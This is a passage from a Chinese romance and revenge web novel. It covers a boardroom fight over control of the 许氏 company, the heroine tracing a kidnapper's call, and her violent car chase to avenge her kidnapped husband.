这些年他投资的项目有多少赚钱的,又有多少赔钱的? 更别说许镇江是个蠢笨的,家里有个金疙瘩,却偏要去宠那毒蛇一样的私生女,招惹了许愿。 但凡许镇江能对许愿好一点,许愿手指缝里漏出份合同,都够许家赚的! 若他当初是个慈父,好好对待自己的嫡女,怎么会落得现在的境地? 不是能凭借着许愿蹭热度带一波节奏,还能凭着父女情分,让许愿推荐合同带着许氏飞升。 可许镇江都干了什么蠢事? 董事们有一部分生了旁的心思,却也没想扶李青荷上位。 要扶,肯定是扶自己人。 李青荷是李氏的总裁,她是许氏死对头,还是许镇江前情人,说是一个坑害自己男人的毒妇也不为过。 让这样一个女人当许氏的总裁领导人,那不是把许氏往火坑推吗? 而另一部分董事,则是收了许镇江的礼,还有点原则,只等着支持许镇江。 反正他们说到做到,至于结果如何,那就跟他们没什么关系了。 许镇江早因为李云洐那一番话气的脸红脖子粗,他之前就被许愿气的住了院,现在又被李云洐嘲的面子挂不住,只能暗自生气,却也只能忍着继续这场董事大会。 他可不能输,如果他输了,那许氏不就要拱手让人了? 许镇江一锤桌子,揣着椅子站起身咬牙切齿:“参加董事大会?一个没什么能力只靠男人的女人?一个毛都没长齐的臭小子,怎么?你们想跟我争这位置?我真怕你们输的太难看!” 许镇江眼神阴冷如毒蛇:“你们别忘了这是谁的地盘。” “是呢,我母亲当初就是太依赖许先生,才会家破人亡。好在许先生牲畜不如的选择同我母亲分手,才令家母幡然醒悟,再不依靠许先生,才能用自己的双手打造如今能碾压许氏的李氏。” 李云洐又笑:“至于我……这些年许先生从年轻人身上吃的教训还不够多吗?不说远的,许愿小姐似乎就已经给许先生上过课了。” 第206章 该让许氏换个领导人了 李云洐是痛恨他到一定程度,字字句句都要戳他伤口,戳完在伤口撒盐巴辣椒油偏要叫他痛不欲生才能好受几分。 许镇江指着李云洐鼻子怒骂:“凭你在那里胡说八道,拿出点真本事!” 和事佬张董事呵呵一声:“要不就请有意竞选许氏下一任领导人的董事,说一说对许氏后面几年的安排计划?” 许镇江拿鼻孔看人似的冷笑一声,提出最为稳妥传统的形式,不仅要继续生产许氏的中等布料与其他服装公司合作,并还有意做中高档的衣服品牌,提到建立“栩栩如生服侍品牌”。 他对自己创建的品牌十分自信,又提出请蹿红的流量代言,并推出与明星联名的潮牌大幅度提升品牌的价格。 许镇江说着,仿佛已经预见未来自己重新建立起许氏的王朝。 他越说越激动,桌子被他啪啪敲响好几次。 李云洐笑得别有深意:“许先生真是会画大饼,却不知要多久才能看到许先生说的那恢弘景观了。” “依旧是守旧的套路,别的企业难道不会吗?别家中高档国产品牌不也是这个套路,几年前别人就在用的套路,许先生改也不改就套用在许氏?请流量代言并设计潮牌?许先生知道现在的流量明星的身价都有多高?”李云洐这话已经是明着讽了。 “动辄几千万,现在的许氏口碑都已经臭了,谁不知道许氏与许愿之间那些事?那些跟许愿交好的,绝不会跟许氏合作,那些流量热度高的小生小花,不会为了这一个代言得罪许愿。再往下一些的,可就算不上是流量了,你请那些明星也达不到你的预期,所以许先生这个提案,真是完全没有实现的可能。” “许先生这样做,只会加速许氏的灭亡。” 李云洐如实揭露他那段自负的发言漏洞,让他知晓什么是血淋淋的现实。 李云洐上前一步,将一早准备好的许氏未来几年的计划表投影到大屏上。 “如今的许氏如果还是用老一套,迟早会被现今的潮流所淘汰。跟流量签合约并设计潮牌是一定要有的,但现在的许氏还达不到那个标准,如今能与流量联名设计潮牌的品牌,国产中高档企业中的排名不是许氏能比的。再者,许氏起步晚,没有多少人知道许氏的品牌,人们对许氏更多的记忆点在许氏与许愿的丑闻,这根本不利于许氏新品服装的发展。” “想要走这一步,首先就要跟许愿达成和解,起码要让关注许氏的人知道许氏还是个有良心的企业,否则你想走中高档的路线,他们则会选择其他中高档服侍。毕竟没有人会去选择购买一家道德沦丧企业推出的衣服品牌。” 李云洐别有深意的扫了许镇江一眼,其实只这一点,就能让许镇江排除在下任领导人候选人之外了。 他跟许愿的矛盾谁不清楚? 想让许愿跟许氏达成和解?那最大的矛盾点就在许镇江。 只要许镇江滚蛋,就能让人对这企业还有那么点期待。 但倘若还是许镇江把持许氏,许氏的是绝没有未来的。 董事们心思各异,看许镇江的眼神有些不对了。 若说以往他,们绝不信一个女人有这么大的影响力能影响一个企业。 但此次许氏走下坡路的导火索,竟只因为一个许愿,这让他们不得不为此警惕深思。 李云洐环顾一圈众人面上的表情,继续攻击许镇江发表自己的观点:“其次,各大品牌都已经推出直播间在短视频软件由公司内部签约的博主直播卖自己的衣服品牌,活动期间还可以邀请一些明星,去直播间进行直播热场。” “笑话!开什么直播卖衣服!你真当我们的品牌是那种十几二十块卖给乡下人的衣服不成!我们走的是中高档路线!卖的价格可不低,那些看直播的人也要买得起!” 许镇江最先截断李云洐的话,第一个不赞同他的言论 。 李云洐深深的看他一眼:“许先生说这话之前,做没做过调查?其他中高档品牌已经开拓了直播市场,可以说已经开始电商之路,许先生想走其他几家企业的老路,抄他们的营销策略却是抄都没抄全?不如许先生点开现在的短视频软件,看看那几家是不是正在开启直播售卖品牌服饰,顺便让人给你算一算交易额。” 许镇江只觉丢脸无比愤怒吼道:“傅氏盛世盛华怎么就没有推出直播售卖礼服!” 李云洐扶额低笑一声,就连李青荷都嘲讽的笑了一声。 “我真没想到许先生能愚蠢到这地步,竟然将高定礼服跟你的中高档服侍相比。” 李云洐讥嘲:“这几家旗下许多高定礼服不是谁都有资格购买的,首先需要交易额达到一定金额,有了VIP会员卡,才可以任意购买这几家公司的高定礼服。” “其次,他们走的是国内最高档的一线高定品牌,是可以跟国外知名品牌并列高级奢侈品的品牌,更是能参与巴黎时装展的,他们面对的客户是上流社会的名流以及社交名媛,许先生觉得这类人群有多少人会去看直播?这类人群多是直接联系品牌方派人去订购最新款的高定礼服。” “当然,这些公司也推出了中高档品牌的服饰,他们也有独属于自己品牌的直播间,许先生如若不信,当然可以自行查看,不然真的显得许先生十分无知。” 李云洐又觉得许氏在许镇江手中没有倒闭真是许氏的运气了。 许镇江面上青一阵白一阵,他梗着脖子还是不肯低头:“你说的这些我当然懂,我只是担心你不知道!” 许镇江心道,这是我的地盘董事会上有多少都是我的人,难不成还能让你李氏的做主? 之前当和事佬的张董事笑得十分良善,站起来说了一段话,竟是也有意争许氏下一任领导人的意思。 许镇江不敢置信的瞪圆眼睛。 张董事竟然这时候叛变了?! 张董事还是笑着,却一点不觉得对不起许镇江:“老许啊,你别这么看着我,这种事只能说是能者多劳,你也是真的老了,也该让许氏换个领导人了。” 第207章 挑衅 “老许,我也是不想看许氏葬送在你手里,你该理解我才是。” 许镇江怒吼:“这家公司姓许!它姓许!不姓李也不姓张!它姓许!” 李云洐微微侧过头,看着他笑意阴沉:“这家公司曾经不是姓苏吗?最后不也是短时间内改姓了许,现在改个别的姓也未尝不可。” 许镇江一个踉跄,咬着牙,只觉得面前这个私生子就是生来讨债的!他生来就是克自己的! 不行,不能被张董事和李云洐打败。 他手里的股份再加上那些支持他的董事,一样能稳坐许氏总裁的宝座,谁也不能赶他下去! 许镇江被气得血压飙升,脸色惨白惨白,却直勾勾的瞥了李青荷一眼,像是疯了一样,呵呵的笑了几声:“你们怕是忘了我手里的股份最多,我手中的股份加上我女儿手里的股份,你们拿什么跟我斗?” 李青荷不说话,看了李云洐一眼,李云洐翻出一份文件。 “许先生不必跟我们玩话术打太极,我们赶来参加董事会,自然清楚你手中有多少股份。许先生觉得我们手里一部分的股份是哪儿来的?许先生为了解决麻烦,低价抛出的部分股份都在我们手里。” 许镇江抬高声音,声音尖利刺耳:“这不可能!” 李云洐看疯子一样看着面前沧桑疯狂的男人,唇角扬起一抹嘲弄的弧度。 可他仅仅是疯狂片刻,又迅速冷静下来:“那又如何?我卖了部分股份又如何!我女儿手中还有许氏百分之二十五的股份!我女儿一定跟我站在一条线支持我!” 李云洐“哦?”了一声,虚心求教:“敢问是许先生哪个女儿?” 许镇江噤声了,没敢提许愿。 李云洐凉凉道:“你所说的女儿,不就是许愿小姐?你觉得许愿小姐会支持你?许先生是忘记你对许愿小姐做过什么?” 许镇江不肯低头情绪十分激动:“她当然会支持我!她是我的女儿!她身上流着我的血!我们是血亲!是血亲!” “砰——” 许镇江怒吼的话还在会议室带着刺耳的回音,会议室的门却被人一脚踹开。 众人被吓得一激灵,却听一道清丽的声音自带不屑的传到众人耳中。 “抱歉,我在门外听了许久,实在听不下去了,所以打断一下,也来参加今天这场玩笑一样的董事会。” 来人踩着高跟鞋身姿高挑婀娜自带气场,穿了一件高定礼服眉宇间尽是高不可攀的冷冽与嘲讽,好似生来就这么一副高高在上的姿态。 来人正是许愿! 更让董事会震惊的是许愿身后的人,她身后一左一右的两人西装革履,一人成熟儒雅面容十分熟悉,赫然是那位才上了微博热搜被众人添颜的薛酒。 而另一人高大英俊却温和俊美,但身上明显充斥着危险的气息,一看便是身份难测不知是出自哪家名流。 这三人站到一起,哪怕他们不开口,都让人觉得这三个人脑门上刻了三个字“不好惹”。 董事们内心苦不堪言,心道,“又来个踢馆的。”他们小小的许氏惹来这么多大佛?许氏哪里配啊! 许镇江死死盯着许愿,一时半会不知道说什么来哄骗许愿。 他是知道许愿是个性子野的,想跟她说话谈合作那都是要花钱的! 他现在可没钱买通自己这个女儿了! 李云洐却是微挑眉。 他时刻关注各类新闻,当然知道许愿有多火,也看过许愿一些照片,但现在直面许愿,还是被她这张扬美艳的面容惊到。 “终于来了?我还以为等不到你了,妹妹。” 李云洐笑着打趣,还特意喊她妹妹,故意恶心许镇江,好让他记得自己跟许愿也是“血亲”。 许愿毫不掩饰自己来看戏的愉快心情,十分支持给许镇江找不痛快。 “哥这是说什么呢,答应你和李阿姨的事,我当然会办到。我早到了,只是在门外听到许先生在口出狂言所以看了会戏,看他能蠢到什么离谱的地步。” 许愿抬手拢着额前的发,表示自己的轻蔑冷意:“没想到许先生真能刷新在我心中无耻的记录,他竟然还有胆子提‘血亲’。” 许愿怼起许镇江,瞬间不觉得头晕难受了:“许先生的血亲怕是数不清,说不定能凑齐十二星座或者一个足球队了。” 许镇江目眦欲裂,他怎么也想不到许愿能跟李青荷和李云洐搅和到一起!这真是公然打他的脸! 不仅打他的脸,还顺着李云洐的话嘲讽他!她到底记不记得是谁把她养大的! “许愿!我是你父亲!”许镇江恼羞成怒。 许愿幽幽笑了声:“许先生说这话,有些人是要不高兴的,盛世的律师没跟你谈吗?他没告诉你往后不要以我父亲的身份自居吗,还是说你希望再跟盛世法务部见面……” 她没把话说,全却也足够许镇江自行脑补后果了。 果然,许镇江脸色更难看了,已经被气到崩溃边缘。 许愿又笑了笑:“我刚在外面听半天了,是要按照股份什么的投票吗?我手里有百分之二十五的股份,李阿姨和我哥手里加起来要有百分之三十的许氏股份了。我们做了决定,诸位也没那个权利再跟我哥争了才是。” 会议室内的董事没说话,却也有些不悦。 许愿挑眉扫视一圈:“各位叔叔伯伯也不必不高兴,总归你们不姓许,这公司姓苏姓许还是姓李,跟你们关系不大,你们要的只是挣钱的公司,只等着年终拿分红就行,难道不是这个理?” 许愿走到李青荷身旁,双手撑住桌沿歪着头,十分得意的笑了一声:“方才许先生和我哥提到的未来发展方案,我也在门外听了的。想来各位也能听懂许氏跟我和解对许氏有多重要,那么我就表个诚意,如果许氏是我哥做主,我自然还能当许氏是友军,会跟众多网友说明情况帮许氏洗白,甚至还会出现在许氏品牌的直播间,表达自己对他的支持。诸位明白我的意思吗?” 第208章 交易 董事们眼睛纷纷亮起来,本来李云洐提到跟许愿和解那一茬,他们都觉得不可能。 可千算万算,没算到许愿竟然跟李青荷和李云洐成了一条船上的人,去对付许镇江! 但想想,又觉得在情理之中,许镇江那种渣滓活该被针对。 许镇江拍抚着胸口,不停大喘气:“许愿!你给我闭嘴!我是你亲生父亲!你不能这么对我!” 许愿“呵”了一声:“我哥也是你的亲生儿子呢,怎么样,在董事会上被自己的一双血亲儿女针对报复的滋味儿如何?喜欢我送你的这份大礼吗?” 她提到“血亲”就是在讽之前许镇江那一番话。 许镇江还要怒骂,许愿眉头一皱,“啧”了一声:“你闭嘴,太吵了,我要速战速决的报复你,不想听你说废话,想骂在心里骂,你再骂我,我或许会收回你们现在居住的别墅,你知道我做得到。” 许愿眼神非常冷。 许镇江心里很清楚许愿这次是为什么来报复自己,他内心惶恐,他是真的担心许愿已经查出了这次跟盛景炎有关的事。 许镇江气得浑身发抖,却也只能强颜欢笑,强行将自己的怒意压下去。 李云洐没忍住低笑出声。 他可真是小瞧他这个妹妹了,他对上许镇江都没这么游刃有余,倒是许愿几句话堵得许镇江说不上话,直把人气得干瞪眼。 可真是……棒极了。 许愿眼神冰冷:“当然,这些都不算什么,你们应该好好用你们那双眼睛,看清楚跟我和解对许氏意味着什么。” 许愿偏头扫向薛酒:“跟我一起进来的是薛酒和陆斯年,你们明白吧。” “有我在中间做纽带,许氏未来跟上流圈子的人有合作,也不是没可能。” 虽然是张空头支票,但也足够令他们兴奋了。 薛酒和陆斯年,完全可以代表盛华,这是把盛华话事人带来了! 会议室内的众人都傻了,愣是好半晌没敢吱声。 许镇江整个人也目瞪口呆,他知道薛酒,但这会儿是真没认出陆斯年,只觉得眼熟。 直到对方是陆斯年后,他整个人身体都在发抖,脸色发青,当年许家针对陆家那件事他可全都记得。 此刻许镇江当真是一句话不敢说了,唇瓣都在哆嗦。 慌的事许镇江,喜的事董事会其他人。 许愿跟许镇江画饼不一样,她好歹是有真材实料,背后有盛世,现在还把薛酒和陆斯年带到了许氏,这不就坐实了她跟上流圈子交好? 如果把许氏交给李云洐真能给许氏带来这么大利润,那他们还争什么? 许愿说得也没错,他们才不在乎这公司姓什么,他们只在乎拿到的分红多不多。 张董事算是个聪明人没了那个竞争的心思拱手相让,笑呵呵道:“许总都说得这么清楚了,我们怎么可能还糊涂到不知道选谁?我看啊李先生这年纪正是时候担任我们许氏领导人的年纪,一定能带领咱们公司走得更远。我是双手赞成李先生担任下一任领导人。” 其他董事互看几眼,纷纷拿定主意。 什么支持好友,这话在他们这群酒肉朋友面前比起利益来说都是不够看的。 “我也觉得李先生能带领许氏走得更远!” “以后许氏就全都交给李先生关照了。” 一群董事衣冠楚楚虚伪的当那笑脸人,半点看不出方才面上还挂过那讥讽的笑。 许愿还在好奇许镇江怎么不嚎了? 还真被她那几句话吓老实了?这可不太像许镇江啊。 许镇江现在不说话,却是被陆斯年那张脸吓到了。 他舌头都像打了结根本说不出完整的话,只瞪着眼睛盯着陆斯年那张熟悉的脸陷入噩梦一样跌进无妄的黑洞。 在场的所有董事看向许镇江的眼神都带着几分同情。 李云洐这种聪慧的儿子是情人养大的,跟他没有父子情,许愿这种跟大家族接上头的顶级流量也被他作没了感情,可真是个“可怜”人。 众人议论纷纷。 许愿呼了一口气,取出一早准备好的股权文件:“那我们是不是该进行最后的交易了。” 许镇江的注意力果然被许愿夺走:“交易?你们要做什么!” 许愿扬了扬手中的股权转让书:“当然是把手中的股份卖给我哥了。” 许愿眼神中的冷意毫不遮掩:“这还是许先生不久前转给我和苏逸的股份呢,今天就要被我都卖给我哥了,惊喜吗?” 许镇江终于没了那心思,去想跟陆斯年有关的破事儿,满脑子都是许愿要把许家的家底儿丢了。 把股份转给许愿,可说到底,许愿姓许,也算是他心里的女儿。 可李云洐算什么?李云洐姓李啊!还是李青荷那毒妇的儿子! 转给李云洐和李青荷,那不是真要把公司卖给李家人吗! 真要把股份卖给他们,以后许家持股最多的就是李家了!这家公司就真的像许愿说的那样要改姓李了! 不行,他怎么都不能忍。 许镇江冲过去撕心裂肺的吼:“不能签!许愿你要想清楚!签了这份合同就没退路了!” 许愿笑眯眯丝毫不把他的话放在心上:“李阿姨多给了我两千万作为补偿,这么好的福利我为什么不签?” 作为盛华真正的掌舵人,许愿真的看得上这两千万吗? 她当然看不上这笔钱,但她就是不想让许镇江痛快。 许镇江既然敢对付盛景炎和苏逸,那他就该得到报应为此付出应有的代价! 而且许氏其实确实没有多少升值空间,许愿对许氏是真的没兴趣。 许氏到李云洐手里或许真的有救,但这种中小型公司即便有前景也不可能在短时间内能大幅度让股价升上去,只能慢慢升上去还要更多的资金去转型去投资,或许以后会被李云洐和李青荷管理得更好,但她现在可没有那么多时间等他们转型。 许愿大笔一挥,股份转让合同上签了名字,直接将股份卖了。 许镇江气急败坏直被许愿气晕过去,许愿哪管他晕不晕,最好是许镇江被气的住院这事儿上了热搜才好。 第209章 电话 许愿出了会议室就再度坐到轮椅上,她本就还虚弱着,因化了浓妆才让人看不出现在的气色,方才骂许镇江时也是手扶着长桌的。 这会儿骂过了那劲儿又开始浑身发冷。 她揉捏了下眉心,已经开始心生怀疑。 她平日也没乱吃什么东西更没有节食,怎么会气血不足?一次小产竟然对身体危害如此大。 薛酒跟在陆斯年身后只觉得自己还真成了工具人,说吃瓜就是吃瓜,也就是让许愿利用一下充一下大佬。 陆斯年推着轮椅往外走,李云洐追出来拦住许愿,陆斯年微微挑眉:“有事?” 李云洐抬起双手以示自己的无辜:“我追上来不是跟你抢妹妹。” “不跟我抢妹妹你还追上来做什么?”陆斯年轻微摇头。 李云洐笑得温柔有点像狐狸:“她本来就是我妹妹,为什么要抢呢,我们之间是有血缘的。” 陆斯年:“……”总感觉他在挑衅我。 “不说这些玩笑话了,我追上来是真有事。”李云洐收了笑意表情认真,“许愿,既然你叫我母亲一声阿姨也叫了我声哥,如果你不嫌弃以后没事也可以多联系,有什么需要帮助的尽管来找我,在这A市多个人也好办事。” 陆斯年眼神缓和一瞬嘴上却不饶人:“有我还不够还需要你?” 李云洐继续微笑:“万一你这位哥哥又突然消失了呢?也不是没有这种可能你说对不对。” 陆斯年拳头有些痒,李云洐阴了这么一句这才继续道:“你转出来的百分之二十五的股份中我会拿出百分之十,对半赠予你和苏逸,算作我和母亲给你们的见面礼。” “钱和股份都是你的,送出去的我们不会收回来。”李云洐倒十分大方,又留了这句话。 许愿终于露出十分真诚的笑来,“谢谢哥!” 李云洐啧了一声,“你这个妹妹还真是不便宜。” 其实话是这样说,但李云洐清楚,许愿其实根本看不上这点东西,是许愿给了他追上来的机会,因为许愿才是那个被数人追捧的资本。 李云洐跟许愿笑着打趣了几句,一抬头对上陆斯年阴冷的眼,李云洐走到他身边在他耳边道:“盛家内斗严重,你才从海外回来最好早些理清局势,不要让许愿再牵扯进去,盛家的事我担心会让她再次受伤。” “如果有必要的话可以来找我。”李云洐这是因许愿才决定施以援手,一方是不想跟陆斯年为敌,另一方是看不上盛家那些混子,而且也的确有点担心许愿会被盛景炎连累。 陆斯年略微颔首算是领了他这个情。 李云洐拍拍他的肩这才离开。 陆斯年一路心事重重,薛酒提议去华庭约个饭他也没反对。 去华庭没什么不好,许愿身体虚弱,华庭包厢还有可以休息的地方,许愿不舒服可以休息,还能尝一尝华庭的药膳补补身子。 盛华三位负责人都在这里了,自然是提及金融峰会的事。 与金融峰会相关的事都还没谈妥,许愿拿出了几份已经做好策划的合同递交到薛酒和陆斯年手中。 已经商议到最后,手机切进来一通电话,来电是陌生号码。 许愿眼皮一跳,她笑着扬了下自己的手机。 “我出去接一通电话。” 许愿没有坐在轮椅上,她匆忙离开包厢打开华庭另一间房,是盛景炎在这里常用的包厢,里面有她和盛景炎的备用电脑。 她坐在沙发上,眸光冰冷的接听电话,对面传来一道机械冰冷有些失真的声音,陌生又熟悉。 “许总,我可是考虑很久才给你打了这通电话。” 男人声音带着几分哑意的冷,似乎还裹挟着几分怒火。 “有事吗。” 许愿声音平缓,但她自己心里清楚自己有多慌多怕。 她多少能猜到对面的人大概率会是傅长海,她一直在等这通电话,她清楚傅长海有利可图,傅长海想要全息想要3D相关的技术。 只要盛景炎在他手中,只要傅长海有所求,那他就能回到她身边。 但她不能表现得太明显,起码……不能让傅长海感受到盛景炎对她有多重要,否则,一旦让傅长海知道盛景炎在她心里所占据的比重,傅长海或许会从长计议一次又一次的利用盛景炎,甚至根本不会将他放回来。 “许总那么聪明的人,不如猜猜我这通电话的用意。” 傅长海坐在软椅上,压制着内心的怒火,他余光仍然扫向瘫软在地上的盛景炎,眼底都是厌恶的冰冷。 许愿的手不由收紧,她故意的喉间溢出轻笑。 “那你不妨猜猜我现在有多潇洒。” “少了一个拖累还得到了一大笔财产,没有人比我现在更幸福了。” 许愿说话间已经打开各类测试软件,手指飞速的在静音键盘上敲击代码数据,也在此刻继续混淆傅长海的视线。 傅长海被这话惊得突然卡壳。 “你这话什么意思。”他是真的有些目光呆滞。 许愿耻笑:“你不明白吗,他就是踏板而已,我一向只看重利益,他能带给我一笔巨大的财富,若是以前我还需要徐徐图之拿到那笔财产,这次我还真要谢谢你帮我除去心头大患。” “等他真的消失在这世界上,那盛家就真的要随了我的姓。” “平白得了盛家财产,谁不说句好运呢。” 傅长海都被这些不要脸的狂言气笑了。 他握紧手机根本无法冷静,他不能接受自己算计到最后却如了许愿的意替她做了这个恶人,好处反倒都让她得了! 他站起身大步走到盛景炎面前,抬脚狠狠踹到他已经断裂的腿骨上。 “你这个废物!” “你不是很能吗!你那么多解语花,怎么偏偏挑了最恶毒的一朵!” “我费尽心机算计到最后是为什么!” 盛景炎面色苍白甚至因为腿部的疼痛表情都变得有些狰狞,可他还是隐忍的握紧拳没让自己喉间溢出一声痛呼。 他很清楚许愿为什么要这样说,她在跟傅长海拉扯交战。 第210章 许愿,你疯了吗 没有人清楚他们之间的感情几分真几分假,傅长海当然也不清楚。 许愿敲击键盘的动作都因为傅长海那发狠的声音慢下来,她眼眶赤红染带着汹涌的恨意,下一秒手上的速度愈发快了。 她要快点定位,不能让傅长海再继续发疯! “你想让她用什么来换回一个废人。”许愿听到盛景炎似乎因为痛到极致而沙哑的声音。 “傅长海,如果是你,你会换吗。” “你给我闭嘴!”傅长海气到整个人都有些癫狂,许愿咬紧下唇,双手几乎是颤抖着敲下最后的代码,终于搜索到了方向。 找到了! A市龙桥区水溶别墅C栋…… 许愿眼神黯淡。 已经给薛酒和陆斯年发送简讯,将地址发给两人,他们已经一起工作几年,都极有默契,收到信息就已经安排人去龙桥区水溶别墅守着。 傅长海还没疯够,已经有手下闯进来提醒。 “先生!现在我们必须尽快撤离!我们所在的地址已经被锁定了!” 傅长海气到连连骂脏话。 他就不该私下联系许愿,许愿那个女人阴险狡诈满肚子诡计!跟她母亲苏青莲一样脑子里都是那些弯弯绕绕! “他们到哪里了!” “距离我们的别墅区还有不到一公里的距离。”手下急促回应。 这么短的时间他根本没办法带走盛景炎,他知晓许愿已经猜到暗处的人是他,但他们明面上还没有撕破脸,那就只能继续装继续演下去。 傅长海愤恨的踹了盛景炎一脚。 “好,好得很,我算是被你们夫妻耍了个遍!” “盛景炎你记着,下次,我绝不会轻易放过你!” 傅长海撂下狠话,已经开始摧毁别墅地下室跟自己有关的东西,然后带着人匆忙从另一条小道撤离。 盛景炎躺在地下室冰冷的地面上,四周弥漫着潮湿与霉味。 这里没有窗户,唯一的光源是从上方悬挂下来的昏黄灯泡,它摇摇晃晃地投下斑驳的光影,让整个空间显得更加阴森恐怖。 他的呼吸急促而沉重,每一次吸气都像是在与无尽的痛苦抗争。 他的左腿以一种不自然的角度扭曲着,显然已经断了。 骨头穿透皮肤,裸露在外,鲜血不断地从伤口中涌出,染红了他破烂不堪的衣服和身下的水泥地面。 他的脸上布满了淤青和擦伤,嘴角挂着干涸的血迹,头发凌乱地贴在额头上,汗水与血水混杂在一起,沿着脸颊缓缓流淌下来。 手臂上、肩膀上,甚至背部,到处都是触目惊心的伤口,有的深可见骨,有的则只是皮肉之伤,但每一处都在无声地诉说着他曾经历过的残酷折磨。 傅长海离开之际还特地放了把火,他是真的狠。 他已经这样了,活着反倒成了折磨,可脑海里闪过的是许愿眉眼带笑的画面,却又忍不住的用右手紧紧抓住身旁的一块碎石。 他死死握紧这颗石头,爆发出难以言喻的求生意识。 就在这时,门外传来了轻微的脚步声,紧接着是锁链摩擦发出的刺耳声响。 门开了,一道纤细高挑的身影出现在门口,门外灯光刺眼令他不得不眯起双眼来抵挡这突如其来的光明。 来者居高临下地看着倒在地上的盛景炎,嘴角勾起一抹残忍的笑容:“听说你拒绝了跟我的婚约。” “盛景炎,盛学长,我那么爱你,你这样真的让我很伤心啊。” 唐雅颂半蹲下身,她完全不嫌弃他此刻的狼狈模样,伸出手擦拭他额头的血污,声音中带着骄纵和势在必得。 “你看,那个女人只在乎盛家的财产,而我才是真的在乎你。” 唐雅颂低语:“我来带你离开。” 盛景炎艰难地抬起头,目光沉沉:“唐雅颂,我看你是疯了。” 唐雅颂打了个响指,立刻有人将他制住。 “我没疯,早在遇到你的那天起我就想过我们的未来,现在你已经变成这副模样了,除了我不会有人继续爱你了。” 唐雅颂歪头,那双清丽的面容上甚至带了几分癫狂之意。 “你只能被困在我身边了。” …… 许愿带人赶到别墅时只能看到别墅区燃起火光,带人冲进别墅和潮湿的地下室,却根本没有看到人。 许愿死死的握住自己的手机。 她当然相信盛景炎还活着,但是……他这次一定受了很严重的伤,难道又被傅长海那混蛋带走了吗!傅长海知道他没有用后根本不会在他身上继续浪费时间的。 不管是谁带走他,傅长海这个人都不该被轻易原谅! 许愿此刻根本压制不住自己内心汹涌的恨意,她本以为自己这次就可以带盛景炎回家,但还是晚了一步。 她不甘心! 许愿不顾陆斯年和薛酒的阻拦上了车,车子在马路上疾驰飞跃。 这是她改造过后的车,哪怕陆斯年和薛酒在后面追也被她远远落在后面,许愿握紧方向盘,终于远远看到几辆车在马路上飞速行驶。 许愿紧紧握着方向盘,眼神中充满了愤怒与决绝,她脚下的油门几乎被踩到了底,车子如离弦之箭般向前飞驰而去。 前方不远处,傅长海那辆熟悉的黑色轿车正平稳地行驶着,成为他今晚唯一的目标。 此刻许愿的心跳声仿佛盖过了所有声音,恨意如同一把锋利的刀刃,在她的心中来回切割,让她忘记了恐惧,只想着如何将这份痛苦传递给对方。 随着距离逐渐拉近,许愿的眼神更加冰冷。 就在这个时候,从左侧突然冲出一辆银色轿车迅速靠近,并且毫不犹豫地插入了许愿和傅长海之间。 突如其来的变故让许愿措手不及,她猛地转动方向盘试图避让,但由于车速过快,车身开始失控地打滑起来。 轮胎发出刺耳的摩擦声,空气中弥漫起一股橡胶烧焦的味道。许愿的车被逼向了路边,险些撞上护栏才勉强停了下来。 驾驶那辆银色轿车的人正是傅京礼。 他下车后径直走向许愿这边,脸上没有丝毫慌张或愧疚的表情,反而带着几分冷静与从容。 “你疯了吗?”傅京礼的声音虽然不大,但却异常清晰地穿透了夜色。 第211章 想让他偿命 “你疯了吗?”傅京礼的声音虽然不大,但却异常清晰地穿透了夜色。 许愿坐在驾驶座上,双手仍然紧握着方向盘,身体因为刚才的剧烈震动而微微颤抖着。 她抬头看向傅京礼,眼中闪过一丝复杂的情绪。 “你不懂……”许愿低声说道,声音里夹杂着些许沙哑,“有些事情是无法原谅的。” 就像傅长海做的那些,无法原谅也不能原谅。 她根本控制不住自己内心疯狂生长的恨意。 怎么可能忍得住这样的恨呢,商场上她可以雷厉风行可以用绝对的实力碾压一切,可……感情上的事她控制不住。 她爱了傅京礼那么多年,她在伤害自己怀疑自己,这种时候是盛景炎出现,坚定的带她从那片阴霾中走出来。 盛景炎对她来说是不同的。 许愿就是这样的人,即便强大,却仍然敏感多疑。 她敏感多疑却也足够深情,特别是盛景炎从未伤害过她,哪怕最初的盛景炎那般看重利益,对她也是珍视有礼的,他在意她呵护她,几乎是将她真正放在心口疼宠,是不是真心她难道感受不到吗。 他们明明可以好好在一起,为什么一定要来伤害她身边的人? 盛景炎是爱人,苏逸是血亲。 傅长海就是故意的,他就是想完全的拿捏她。 许愿握紧方向盘,她眼底都藏着明显的嗜冷之意。 “让开。” 傅京礼眼神晦涩:“我不会让你继续发疯。” “你也知道我在发疯,那你凭什么认为你可以拦住我。” 许愿语气中的嘲意毫不遮掩,她转动方向盘,车子已经重新发动,傅京礼震惊要控制车子去拦,倏地车子被一股大力猛烈撞击到横栏,额头被撞出细微的口子溢出鲜血。 他闷哼一声,却见许愿的车已经冲向傅长海。 她的车子经过改装,哪怕装过横栏也仍然是完好无损,傅长海手下的车子纷纷被撞开,傅长海整个人瞪圆眼睛,他也没想到许愿现在没了理智简直是想要他的命! “许愿你疯了!你疯了!你把车停下!” 傅长海根本不想真的跟许愿正面对上,能藏能躲谁会真的跟许愿撕破脸! 许愿眼神冷厉,直直开着车冲过去,傅长海根本躲闪不及,明明开的已经是豪车,却还是被许愿的车撞的车门开裂,车子被撞出好远的距离直接在地面上翻滚两圈。 傅长海从车门爬出来,整个人狼狈不堪,脸上都是血污。 许愿的眼底猩红一片,她一直都是这种性格的人,往日是为了傅京礼压抑自己,后来是为了盛景炎压抑自己,可现在盛景炎出事了,谁还能控制她呢? 她就是要发疯。 盛景炎在那样的车祸中会伤成什么样?她的心尖都在不停地发颤,疼痛的感觉顺着心口不停传向四肢百骸。 要他死…… 想让他偿命…… 许愿握紧拳,眼底弥漫的都是无法言说的恨意。 她已经控制不住驱车驶向傅长海。 对,就是这样,只要没了傅长海一切都将恢复平静,不会有人继续伤害她身边的人! 车子再度驶向傅长海,傅长海浑身是血惊慌失措的想要逃离现场,傅京礼握着方向盘的手几乎在发抖,他的车子再度冲过去,车子再一次被撞飞。 他呼吸粗重,眼神幽暗深沉,车子固执的停在傅长海身前。 “许愿,你还有理智吗。” 还有理智吗?如果还有理智就做不出这样发疯的事了。 许愿握紧自己的手,抬眸的一瞬,对上傅京礼那双沉沉的黑眸,她喉间溢出清淡却凉薄的冷笑,她脸色苍白,眼神冰冷,陌生到让他感觉从未真正认识过她一般。 “傅京礼,信不信我可以连你一起撞。” 她嘲讽。 “你以为你在我这里就有多少分量吗。” 她的手握紧方向盘:“对我来说,全都是仇人。” 她心里清楚,罪魁祸首是傅长海,其他人也会是帮凶。 “滚开,你不配拦我。” 许愿嗓音低哑。 